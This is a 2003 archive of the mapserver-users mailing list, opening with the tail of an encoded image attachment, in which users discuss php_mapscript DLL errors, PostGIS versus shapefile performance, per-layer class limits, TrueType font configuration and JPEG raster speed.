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
------=_NextPart_000_0051_01C2BC93.25FE6A80--
From bbaily at CEMML.ColoState.EDU Wed Jan 15 09:37:25 2003
From: bbaily at CEMML.ColoState.EDU (Beth Baily)
Date: Wed, 15 Jan 2003 10:37:25 -0700
Subject: [Mapserver-users] Adding php_mapscript
Message-ID: <3E259C55.FC0211F4@CEMML.ColoState.EDU>
Listers,
I have installed and tested PHP4 on my Win2000 workstation with Apache
and cgi mapserver 3.5. PHP4 by itself works fine. I moved
php_mapscript.dll to the php4 extensions directory and set extension_dir
in php.ini to that directory. Then I used phpinfo_mapscript.php to test
it. The output I get in my browser is:
Warning: dl() [function.dl]: Unable to load dynamic library
'd:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified
procedure could not be found. in d:\program files\apache
group\apache2\htdocs\phpinfo_mapscript.php on line 17
followed by the results from phpinfo().
When I first start my browser and try to run phpinfo_mapscript.php, I
get this error:
The procedure entry point zend_list_addref could not be located in the
dynamic link library php4ts.dll.
I can click on OK and then I see the results described above. I would
appreciate any help.
Thanks,
Beth
From dlowther at ou.edu Wed Jan 15 09:41:56 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Wed, 15 Jan 2003 11:41:56 -0600
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID:
Hi List,
Has anybody experimented with drawing / query time of features from
shapefiles vs. features from PostGIS?
My experience (and it is extremely limited) is as follows. This is why I am
asking about your experiences.
Drawing a layer based on a shapefile that is located on the same physical
drive as mapserver is faster then drawing that same layer from PostGIS
running on a separate machine. But obviously this is a result of several
factors including the network connection (in this case 100 megabit on both
machines), the hardware in the Postgres server (in this case 233mhz, 128mb
ram), and the traffic (in this case just what I am doing by testing).
Are there certain situations in which the access to PostGIS might be quicker
then a shapefile, say when zoomed in closely or zoomed way out or when doing
a point based query?
Is there a point where the number of features in a layer would cause PostGIS
or shapefiles to perform better?
What if I put a monster of a machine in place as the postgres server? Could
I build a postgres server that would be as fast as shapefiles local to
mapserver?
What happens as the application scales? If I saw traffic like mapquest.com
or something would shapefiles be faster than PostGIS?
Sorry if this seems irrelevant or silly line of questions. I just have a
conflict between the convenience / queryability of PostGIS and the speed of
shapefiles.
Thanks,
Dave Lowther
From spencer at dmsolutions.ca Wed Jan 15 09:54:44 2003
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Wed, 15 Jan 2003 12:54:44 -0500
Subject: [Mapserver-users] Re: [maplab-users] Restricted number of class per layer ?
In-Reply-To: <200301151625050473.06BFD517@smtp.wanadoo.fr>
References: <200301151625050473.06BFD517@smtp.wanadoo.fr>
Message-ID: <3E25A064.5050205@magma.ca>
Fabrice, this is a built-in limit in mapserver that is set at compile
time (i.e it can be changed if you build mapserver executables yourself.
The reason is largely historical and for performance, but I think that
the mapserver developers have been discussing the possibility of
restructuring some of the internal structures in mapserver to remove the
necessity for this. You should probably address any issues to the
mapserver-users mailing list to make your opinion known ... the more
people that ask for a feature, the more likely it is that it will be done.
Cheers,
Paul
Fabrice ANDREI wrote:
> Hello.
> I have to specify more than 80 class in a layer. I use Mapserver 3.6, but it seem not too work. I think the maximum number of class in a layer is about 50. Am I true ? Is it a bug, or there is a special reason ?
>
> Thx.
>
> Fabrice ANDREI
> Observatoire R?gional de l'Environnement
> htt://www.observatoire-environnement.org/
>
>
> _______________________________________________
> Maplab-users mailing list
> Maplab-users at dmsolutions.ca
> http://lists.dmsolutions.ca/mailman/listinfo/maplab-users
>
--
Paul Spencer
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca
From jdeck at socrates.Berkeley.EDU Wed Jan 15 09:57:48 2003
From: jdeck at socrates.Berkeley.EDU (John Deck)
Date: Wed, 15 Jan 2003 09:57:48 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
In-Reply-To:
Message-ID: <001001c2bcbf$9db7a970$38d62080@JDECKLAP>
To be fair to postgis you will want to make the comparison to shapefiles
with a local install of postgres/postgis only. Having postgis reside on
a separate machine can drastically impede performance.
In my own experience shapefiles are a tad faster than postgis for
querying single polygons and drawing them. However, I haven't delved
into tuning postgis/building spatial indexes and performed any advanced
queries either.
John
> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
> admin at lists.gis.umn.edu] On Behalf Of Lowther, David W
> Sent: Wednesday, January 15, 2003 9:42 AM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
>
> Hi List,
>
> Has anybody experimented with drawing / query time of features from
> shapefiles vs. features from PostGIS?
>
> My experience (and it is extremely limited) is as follows. This is why
I
> am
> asking about your experiences.
>
> Drawing a layer based on a shapefile that is located on the same
physical
> drive as mapserver is faster then drawing that same layer from PostGIS
> running on a separate machine. But obviously this is a result of
several
> factors including the network connection (in this case 100 megabit on
both
> machines), the hardware in the Postgres server (in this case 233mhz,
128mb
> ram), and the traffic (in this case just what I am doing by testing).
>
> Are there certain situations in which the access to PostGIS might be
> quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
> doing
> a point based query?
>
> Is there a point where the number of features in a layer would cause
> PostGIS
> or shapefiles to perform better?
>
> What if I put a monster of a machine in place as the postgres server?
> Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
>
> What happens as the application scales? If I saw traffic like
mapquest.com
> or something would shapefiles be faster than PostGIS?
>
> Sorry if this seems irrelevant or silly line of questions. I just have
a
> conflict between the convenience / queryability of PostGIS and the
speed
> of
> shapefiles.
>
> Thanks,
>
> Dave Lowther
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From dlowther at ou.edu Wed Jan 15 10:00:27 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Wed, 15 Jan 2003 12:00:27 -0600
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID:
John,
You are absolutely right. This is not fair to PostGIS. But my WWW server is
on Win32, and when I ran postgres/postgis under cygwin on a 700mhz 256mb ram
machine the performance was slower then on linux with 233mhx 128mb ram. I'm
stuck in the unfair until I move mapserver and the www server to linux.
Dave
-----Original Message-----
From: John Deck [mailto:jdeck at socrates.Berkeley.EDU]
Sent: Wednesday, January 15, 2003 11:58 AM
To: 'Lowther, David W'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
To be fair to postgis you will want to make the comparison to shapefiles
with a local install of postgres/postgis only. Having postgis reside on
a separate machine can drastically impede performance.
In my own experience shapefiles are a tad faster than postgis for
querying single polygons and drawing them. However, I haven't delved
into tuning postgis/building spatial indexes and performed any advanced
queries either.
John
> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
> admin at lists.gis.umn.edu] On Behalf Of Lowther, David W
> Sent: Wednesday, January 15, 2003 9:42 AM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
>
> Hi List,
>
> Has anybody experimented with drawing / query time of features from
> shapefiles vs. features from PostGIS?
>
> My experience (and it is extremely limited) is as follows. This is why
I
> am
> asking about your experiences.
>
> Drawing a layer based on a shapefile that is located on the same
physical
> drive as mapserver is faster then drawing that same layer from PostGIS
> running on a separate machine. But obviously this is a result of
several
> factors including the network connection (in this case 100 megabit on
both
> machines), the hardware in the Postgres server (in this case 233mhz,
128mb
> ram), and the traffic (in this case just what I am doing by testing).
>
> Are there certain situations in which the access to PostGIS might be
> quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
> doing
> a point based query?
>
> Is there a point where the number of features in a layer would cause
> PostGIS
> or shapefiles to perform better?
>
> What if I put a monster of a machine in place as the postgres server?
> Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
>
> What happens as the application scales? If I saw traffic like
mapquest.com
> or something would shapefiles be faster than PostGIS?
>
> Sorry if this seems irrelevant or silly line of questions. I just have
a
> conflict between the convenience / queryability of PostGIS and the
speed
> of
> shapefiles.
>
> Thanks,
>
> Dave Lowther
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From DOtt at PALATINE.IL.US Wed Jan 15 10:04:27 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Wed, 15 Jan 2003 12:04:27 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #44 - 38 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From krung at cad.go.th Wed Jan 15 10:33:54 2003
From: krung at cad.go.th (krung)
Date: Thu, 16 Jan 2003 01:33:54 +0700
Subject: [Mapserver-users] Working with TrueType Fonts
Message-ID: <200301160133.AA116916516@cad.go.th>
Hi Calin,
What platform do you use? On my experience, if Windows, it would show as you want, but Linux not. If Linux, I used full path to font file,eg.
fritqat /your/fonts/path/fritqat.ttf
fritqat-bold /your/fonts/path/fritqtb0.ttf
fritqat-italic /your/fonts/path/fritqti0.ttf
fritqat-bold-italic /your/fonts/path/fritqtb2.ttf
And don't forget to set file and directory permission to your server session.
HTH
Krung
---------- Original Message ----------------------------------
From: "Calin D. NITU"
Date: Tue, 14 Jan 2003 17:24:37 +0100
>I am trying to display a True Type font. My map file looks like:
>
> map
> extent 76952.80 189962.49 92359.36 202061.55
> name "test 2"
> shapepath "data"
> size 600 450
> status on
> fontset 'font/fonts.txt'
> units meters
> ........
> ........
> LAYER
> NAME roads_name_init
> GROUP "roads"
> DATA "roads"
> MINSCALE 5000
> STATUS ON
> TYPE ANNOTATION
> LABELCACHE ON
> LABELITEM "NUMBER"
> CLASS
> LABEL
> TYPE truetype
> FONT fritqat
> MINFEATURESIZE AUTO
> MINDISTANCE 100
> ANTIALIAS TRUE
> COLOR 0 0 0
> OUTLINECOLOR 220 220 220
> SIZE 11
> ANGLE AUTO
> POSITION AUTO
> OFFSET 0 2
> buffer 2
> END #LABEL
> END #CLASS
>END #LAYER ROADS-NAME
>
>I created a directory called FONT under the directory where it is the
>'*.map' file
>Here I put all the TTF files and I created a list with the fonts - named
>FONTS.TXT:
> fritqat fritqat.ttf
> fritqat-bold fritqtb0.ttf
> fritqat-italic fritqti0.ttf
> fritqat-bold-italic fritqtb2.ttf
>
>
> The error that I get is
> - "MapServer Error in msGetLabelSize(): Could not find/open font
>in ....." - with PHP environment
> - "msGetLabelSize(): TrueType Font error. Could not find/open
>font" - with clasic HTML
>
>We are using the stabile version of MAPSERVER 3.6.
>
>Thank you,
>Calin
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From pramsey at refractions.net Wed Jan 15 10:12:14 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Wed, 15 Jan 2003 10:12:14 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
In-Reply-To:
References:
Message-ID: <3E25A47E.30508@refractions.net>
David,
Early in the development of the PostGIS / Mapserver connector we did
some benchmarking of PostGIS against Shape files.
Shape files will be faster than PostGIS for simple map drawing
applications in almost every case. The rendering step is going to be
the same regardless of data source. That leaves data access, and an
indexed shapefile will always have slightly lower overhead than an
indexed spatial table for a simple spatial bounding rectangle query. We
found that the speed difference was lowest what the number of features
was smallest. Ie, for drawing a map with only 3 features, selected out
of a table of 300000, the PostGIS layer took less than 10% longer (on a
scale measured in 1/100s of a second, mind you :). For drawing maps
with more (several thousand) features, the PostGIS overhead got as high
as 20-30%.
(Note that all the statements above assume you have build an index on
your shape files. It is interesting to note that ESRI has never put out
a means of spatially indexing shape files, and as a result there is a
kind of collective brain melt in our field which says "shape files are
'too slow' for web mapping". This is true with ArcIMS (no spatial index)
but not true with Mapserver.)
So why use PostGIS at all?
Several reasons:
- large shape file archives can be hard to manage if the data changes
regularly
- if you have an interactive site which allows online updates then
concurrent shapefile writing could cause data corruption as well as
indexes going out of sync with the underlying data
- you can do complex multi-table queries much faster PostGIS than with
shape files
- you can do attribute-based queries much faster with PostGIS than with
shape files (because shape files lack an index on the attributes)
- you can use your PostGIS/PostgreSQL system as a full corporate data
repository, storing your business attributes and spatial objects in the
same data schema, managing the different aspects of the data with many
different tools, using standard access methods like JDBC and ODBC
Lowther, David W wrote:
> Are there certain situations in which the access to PostGIS might be quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when doing
> a point based query?
No. In the very-zoomed-in case the performance will be almost identical,
but never faster.
> Is there a point where the number of features in a layer would cause PostGIS
> or shapefiles to perform better?
The PostGIS r-tree index might end up more balanced than the shape file
quadtree for certain kinds of spatial data. At larger archive sizes it
is possible that this might result in a noticable performance win. I
cannot give a concrete example however.
> What if I put a monster of a machine in place as the postgres server? Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
Well, if you give your postgis database more oomf to read through the
data, you might make it faster than your poor little mapserver
read-and-render machine, but it hardly seems fair to make the
comparison. If you are buying a monster machine you could just run the
read-and-render mapserver on it, and your shape files would still be faster.
> What happens as the application scales? If I saw traffic like mapquest.com
> or something would shapefiles be faster than PostGIS?
Properly laid out shape files, with a tiling system and spatial indexes,
should always be faster. If your data changes regularly such a layout
might not be managable however, or might be most easily managed with a
hybrid system (store working data in PostGIS and snap out a copy for
mapserver to read-and-render from on a nightly basis).
> Sorry if this seems irrelevant or silly line of questions. I just have a
> conflict between the convenience / queryability of PostGIS and the speed of
> shapefiles.
It is not irrelevant at all. Understanding the tradeoffs (and there
*are* tradeoffs for both options) is the core of good systems design. I
hope I have provided some useful information.
Paul
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From krung at cad.go.th Wed Jan 15 10:55:02 2003
From: krung at cad.go.th (krung)
Date: Thu, 16 Jan 2003 01:55:02 +0700
Subject: [Mapserver-users] Adding php_mapscript
Message-ID: <200301160155.AA119079204@cad.go.th>
Hi Beth
Did you use php_mapscript.dll the same version as your PHP? I went to dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP 4.3.0 support.
Krung.
---------- Original Message ----------------------------------
From: Beth Baily
Date: Wed, 15 Jan 2003 10:37:25 -0700
>Listers,
>
>I have installed and tested PHP4 on my Win2000 workstation with Apache
>and cgi mapserver 3.5. PHP4 by itself works fine. I moved
>php_mapscript.dll to the php4 extensions directory and set extension_dir
>in php.ini to that directory. Then I used phpinfo_mapscript.php to test
>it. The output I get in my browser is:
>
>Warning: dl() [function.dl]: Unable to load dynamic library
>'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified
>procedure could not be found. in d:\program files\apache
>group\apache2\htdocs\phpinfo_mapscript.php on line 17
>
>followed by the results from phpinfo().
>
>
>When I first start my browser and try to run phpinfo_mapscript.php, I
>get this error:
>
>The procedure entry point zend_list_addref could not be located in the
>dynamic link library php4ts.dll.
>
>I can click on OK and then I see the results described above. I would
>appreciate any help.
>
>Thanks,
>Beth
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From Chip.Hankley at GASAI.Com Wed Jan 15 10:46:00 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Wed, 15 Jan 2003 12:46:00 -0600
Subject: [Mapserver-users] Raster support - JPG problem
Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852BC@postoffice.GASAI.Com>
Michael,
As Norman and Daniel pointed out, there are known issues with JPEG and
MapServer.
That said, I had a similar problem some months back trying to serve up JPEG
images to MapServer. I did some experimenting and was finally able to get a
JPEG image to come up in MS (sorry, I can't remember exactly what I did),
but the performance was terrible.
My assumption is that MapServer has to somehow uncompress the JPEG images
before rendering them as part of the final image, and that this was the
cause of the performance hit (if I simply swapped the data source to a TIF,
there was no performance problem). I have no idea if my assessment of how
the mechanics of JPEG rendering is correct... but in the end, I concluded
that the trade-off for space savings with JPEG didn't make up for the
performance hit I was taking.
...just my experience.
Chip
From dlowther at ou.edu Wed Jan 15 10:44:49 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Wed, 15 Jan 2003 12:44:49 -0600
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID:
Paul,
Thanks for the excellent info. This is exactly what I was trying to
understand.
I am using the indexing on the shapefiles as provided by shpindex. I haven't
tested without this index, but I haven't had any reason to doubt that the
people that recommend using the indices KNOW what they are suggesting and
why.
It's interesting that ESRI has provided a means (within Arcview) to index
shapefile shapes and attributes, but not to index shapefiles spatially. I
had never thought about that. I guess I always assumed it was "built in"
because ESRI is such a thoughtful vendor especially when it comes to
performance of their products. (Choke, cough, gasp - I almost couldn't even
write it as a joke...)
And the reasons you've listed for using PostGIS are exactly the reasons I
would prefer it to shapefiles. In some instances, the expression on a
shapefile just won't cut it. And the enterprise-wide database solution in
the holy grail.
We host the data warehouse for Oklahoma. Datasets come in from a variety of
agencies (in shapefile format) via FTP and are automatically uploaded to an
OpenGIS compliant SQLServer database that we developed before there WERE
OpenGIS compliant solutions out there. We've got a CGI that will build
shapefiles from the database on the fly for the area a user desires. The CGI
would also map directly from the database, but mapserver blows our CGI's
performance away so I switched. Now we have a little more piecemeal
solution: the shapefiles for mapserver, the postgis for layers that require
it for filtering, our database / CGI for building shapefiles for download,
etc - but its all worth it for the performance.
I had (and probably still have) hopes of migrating all of this over to
PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of
storing (or recalling) geometries. It does seem that the open source
community would benefit from this effort. Actually all it would be is a
Win32 based pgsql2shp that would allow you to filter output based on another
shape. We would use this to allow users to download layers based on their
map's visible extent and other nifty things like that.
Anyway, I've gone on a bit unsolicitedly here.
Again, thanks for the info.
Dave Lowther
-----Original Message-----
From: Paul Ramsey [mailto:pramsey at refractions.net]
Sent: Wednesday, January 15, 2003 12:12 PM
To: Lowther, David W; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question
David,
Early in the development of the PostGIS / Mapserver connector we did
some benchmarking of PostGIS against Shape files.
Shape files will be faster than PostGIS for simple map drawing
applications in almost every case. The rendering step is going to be
the same regardless of data source. That leaves data access, and an
indexed shapefile will always have slightly lower overhead than an
indexed spatial table for a simple spatial bounding rectangle query. We
found that the speed difference was lowest what the number of features
was smallest. Ie, for drawing a map with only 3 features, selected out
of a table of 300000, the PostGIS layer took less than 10% longer (on a
scale measured in 1/100s of a second, mind you :). For drawing maps
with more (several thousand) features, the PostGIS overhead got as high
as 20-30%.
(Note that all the statements above assume you have build an index on
your shape files. It is interesting to note that ESRI has never put out
a means of spatially indexing shape files, and as a result there is a
kind of collective brain melt in our field which says "shape files are
'too slow' for web mapping". This is true with ArcIMS (no spatial index)
but not true with Mapserver.)
So why use PostGIS at all?
Several reasons:
- large shape file archives can be hard to manage if the data changes
regularly
- if you have an interactive site which allows online updates then
concurrent shapefile writing could cause data corruption as well as
indexes going out of sync with the underlying data
- you can do complex multi-table queries much faster PostGIS than with
shape files
- you can do attribute-based queries much faster with PostGIS than with
shape files (because shape files lack an index on the attributes)
- you can use your PostGIS/PostgreSQL system as a full corporate data
repository, storing your business attributes and spatial objects in the
same data schema, managing the different aspects of the data with many
different tools, using standard access methods like JDBC and ODBC
Lowther, David W wrote:
> Are there certain situations in which the access to PostGIS might be
quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
doing
> a point based query?
No. In the very-zoomed-in case the performance will be almost identical,
but never faster.
> Is there a point where the number of features in a layer would cause
PostGIS
> or shapefiles to perform better?
The PostGIS r-tree index might end up more balanced than the shape file
quadtree for certain kinds of spatial data. At larger archive sizes it
is possible that this might result in a noticable performance win. I
cannot give a concrete example however.
> What if I put a monster of a machine in place as the postgres server?
Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
Well, if you give your postgis database more oomf to read through the
data, you might make it faster than your poor little mapserver
read-and-render machine, but it hardly seems fair to make the
comparison. If you are buying a monster machine you could just run the
read-and-render mapserver on it, and your shape files would still be faster.
> What happens as the application scales? If I saw traffic like mapquest.com
> or something would shapefiles be faster than PostGIS?
Properly laid out shape files, with a tiling system and spatial indexes,
should always be faster. If your data changes regularly such a layout
might not be managable however, or might be most easily managed with a
hybrid system (store working data in PostGIS and snap out a copy for
mapserver to read-and-render from on a nightly basis).
> Sorry if this seems irrelevant or silly line of questions. I just have a
> conflict between the convenience / queryability of PostGIS and the speed
of
> shapefiles.
It is not irrelevant at all. Understanding the tradeoffs (and there
*are* tradeoffs for both options) is the core of good systems design. I
hope I have provided some useful information.
Paul
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From cthomas at rand.org Wed Jan 15 10:54:03 2003
From: cthomas at rand.org (Thomas, Cord)
Date: Wed, 15 Jan 2003 10:54:03 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org>
Okay,
could someone simply explain the difference between an "index of shapes" as
provided by ArcView indexing of the shape field (i assume this is what you
all mean) and a spatial index (which i understand to be some sort of fixed
or flexible grid structure grouping sets of shapes into the grids).
so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX?
Cord
-----Original Message-----
From: Lowther, David W [mailto:dlowther at ou.edu]
Sent: Wednesday, January 15, 2003 10:45 AM
To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Paul,
Thanks for the excellent info. This is exactly what I was trying to
understand.
I am using the indexing on the shapefiles as provided by shpindex. I haven't
tested without this index, but I haven't had any reason to doubt that the
people that recommend using the indices KNOW what they are suggesting and
why.
It's interesting that ESRI has provided a means (within Arcview) to index
shapefile shapes and attributes, but not to index shapefiles spatially. I
had never thought about that. I guess I always assumed it was "built in"
because ESRI is such a thoughtful vendor especially when it comes to
performance of their products. (Choke, cough, gasp - I almost couldn't even
write it as a joke...)
And the reasons you've listed for using PostGIS are exactly the reasons I
would prefer it to shapefiles. In some instances, the expression on a
shapefile just won't cut it. And the enterprise-wide database solution in
the holy grail.
We host the data warehouse for Oklahoma. Datasets come in from a variety of
agencies (in shapefile format) via FTP and are automatically uploaded to an
OpenGIS compliant SQLServer database that we developed before there WERE
OpenGIS compliant solutions out there. We've got a CGI that will build
shapefiles from the database on the fly for the area a user desires. The CGI
would also map directly from the database, but mapserver blows our CGI's
performance away so I switched. Now we have a little more piecemeal
solution: the shapefiles for mapserver, the postgis for layers that require
it for filtering, our database / CGI for building shapefiles for download,
etc - but its all worth it for the performance.
I had (and probably still have) hopes of migrating all of this over to
PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of
storing (or recalling) geometries. It does seem that the open source
community would benefit from this effort. Actually all it would be is a
Win32 based pgsql2shp that would allow you to filter output based on another
shape. We would use this to allow users to download layers based on their
map's visible extent and other nifty things like that.
Anyway, I've gone on a bit unsolicitedly here.
Again, thanks for the info.
Dave Lowther
-----Original Message-----
From: Paul Ramsey [mailto:pramsey at refractions.net]
Sent: Wednesday, January 15, 2003 12:12 PM
To: Lowther, David W; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question
David,
Early in the development of the PostGIS / Mapserver connector we did
some benchmarking of PostGIS against Shape files.
Shape files will be faster than PostGIS for simple map drawing
applications in almost every case. The rendering step is going to be
the same regardless of data source. That leaves data access, and an
indexed shapefile will always have slightly lower overhead than an
indexed spatial table for a simple spatial bounding rectangle query. We
found that the speed difference was lowest what the number of features
was smallest. Ie, for drawing a map with only 3 features, selected out
of a table of 300000, the PostGIS layer took less than 10% longer (on a
scale measured in 1/100s of a second, mind you :). For drawing maps
with more (several thousand) features, the PostGIS overhead got as high
as 20-30%.
(Note that all the statements above assume you have build an index on
your shape files. It is interesting to note that ESRI has never put out
a means of spatially indexing shape files, and as a result there is a
kind of collective brain melt in our field which says "shape files are
'too slow' for web mapping". This is true with ArcIMS (no spatial index)
but not true with Mapserver.)
So why use PostGIS at all?
Several reasons:
